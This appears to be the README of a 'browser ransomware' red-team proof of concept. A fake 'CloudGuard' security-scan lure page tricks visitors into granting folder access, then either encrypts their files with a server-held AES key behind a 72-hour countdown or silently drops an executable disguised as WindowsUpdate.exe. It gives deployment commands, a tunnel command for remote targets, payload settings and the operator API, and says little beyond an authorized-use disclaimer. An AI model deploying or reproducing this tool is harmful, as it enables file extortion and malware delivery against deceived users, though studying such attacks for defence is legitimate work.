CloudGuard Security

  ██████╗██╗      ██████╗ ██╗   ██╗██████╗  ██████╗ ██╗   ██╗ █████╗ ██████╗ ██████╗
 ██╔════╝██║     ██╔═══██╗██║   ██║██╔══██╗██╔════╝ ██║   ██║██╔══██╗██╔══██╗██╔══██╗
 ██║     ██║     ██║   ██║██║   ██║██║  ██║██║  ███╗██║   ██║███████║██████╔╝██║  ██║
 ██║     ██║     ██║   ██║██║   ██║██║  ██║██║   ██║██║   ██║██╔══██║██╔══██╗██║  ██║
 ╚██████╗███████╗╚██████╔╝╚██████╔╝██████╔╝╚██████╔╝╚██████╔╝██║  ██║██║  ██║██████╔╝
  ╚═════╝╚══════╝ ╚═════╝  ╚═════╝ ╚═════╝  ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝

Browser-based file system abuse via the File System Access API. Red-team demonstration. Chromium only. No software installation, no exploits, pure permission social engineering.

---

Screenshots

---

Attack Flow

┌─────────────────────────────────────────────────────────────┐
│                         TARGET                              │
│                                                             │
│  visits lure page  ->  clicks "Start Deep Scan"             │
│       |                                                     │
│       v                                                     │
│  browser asks: "Allow access to Documents?"                 │
│       |                                                     │
│       v                                                     │
│  [ALLOW]  ->  scanner animation  ->  files processed        │
│                                       |                     │
│                                       v                     │
│                               alert screen shown            │
│                               72h countdown + Case ID       │
└─────────────────────────────────────────────────────────────┘
                                       |
                         POST /api/session (AES key)
                                       |
┌─────────────────────────────────────────────────────────────┐
│                        OPERATOR                             │
│                                                             │
│  GET /api/admin  ->  session log + master key               │
│  opens /decrypt  ->  enters token  ->  selects folder       │
│                                        |                    │
│                                        v                    │
│                               files restored                │
└─────────────────────────────────────────────────────────────┘

Key design: AES-256 key lives server-side only. Target cannot self-recover.

---

Modes

Mode	Behavior	Use Case
lock (default)	AES-256-GCM encrypt files in place, show alert screen	File encryption demo
drop	Fake scan (always clean), silently write file to folder	Payload delivery demo

---

Quick Start

npm install

# Lock mode
PORT=7654 ADMIN_TOKEN=StrongSecret node server.js

# Drop mode
PORT=7654 MODE=drop \
  PAYLOAD_FILE=/path/to/update.exe \
  PAYLOAD_FILENAME=WindowsUpdate.exe \
  ADMIN_TOKEN=StrongSecret \
  node server.js

Expose via Cloudflare Tunnel (required for HTTPS on remote targets):

cloudflared tunnel --url http://localhost:7654 --no-autoupdate

---

Configuration

Variable	Default	Description
PORT	3000	HTTP port
ADMIN_TOKEN	123123	Recovery console password
MODE	lock	lock or drop
PAYLOAD_FILE	-	Binary to drop (EXE, DLL...)
PAYLOAD_FILENAME	WindowsUpdate.bat	Filename written to disk
PAYLOAD_CONTENT	BAT stub	Inline text fallback

---

API

Method	Path	Auth	Description
GET	/	-	Lure page
GET	/decrypt	-	Recovery console
GET	/api/config	-	Active mode + payload config
POST	/api/session	-	Register session, return AES key
GET	/api/admin	X-Admin-Token header	Master key + session log

---

File Structure

browser-ransomware-poc/
|-- server.js          Express server (key mgmt, session registry)
|-- public/
|   |-- index.html     Lure page (target-facing)
|   `-- decrypt.html   Recovery console (operator-facing)
|-- master.key         AES-256 master key (auto-generated, gitignored)
|-- sessions.json      Session log (gitignored)
`-- package.json

---

Requirements

• Node.js 18+
• Chrome / Edge / Opera (Firefox and Safari block showDirectoryPicker)
• cloudflared for HTTPS tunnel (optional but recommended)

---

Security Notes

Finding	Severity	Status
Admin token exposed in URL	High	Fixed: header-only (X-Admin-Token)
No input validation on /api/session	Medium	Fixed: bounds + sanitize
Missing security headers	Medium	Fixed
Timing-unsafe token comparison	Low	Fixed: timingSafeEqual
Weak default token	Low	Warned at startup
Key file permissions	Low	Fixed: chmod 600

---

Limitations

• Chromium only (showDirectoryPicker not in Firefox / Safari)
• Single master key per deployment
• HTTPS required for showDirectoryPicker on non-localhost origins
• No rate limiting or DoS protection

---

Credits

• Check Point Research (2026) - Original research on browser-based file system abuse via the File System Access API
• Web Crypto API / File System Access API - W3C / WHATWG specifications
• GSAP - GreenSock Animation Platform
• Plus Jakarta Sans / IBM Plex Mono - Google Fonts

---

Disclaimer

Authorized red-team and educational use only.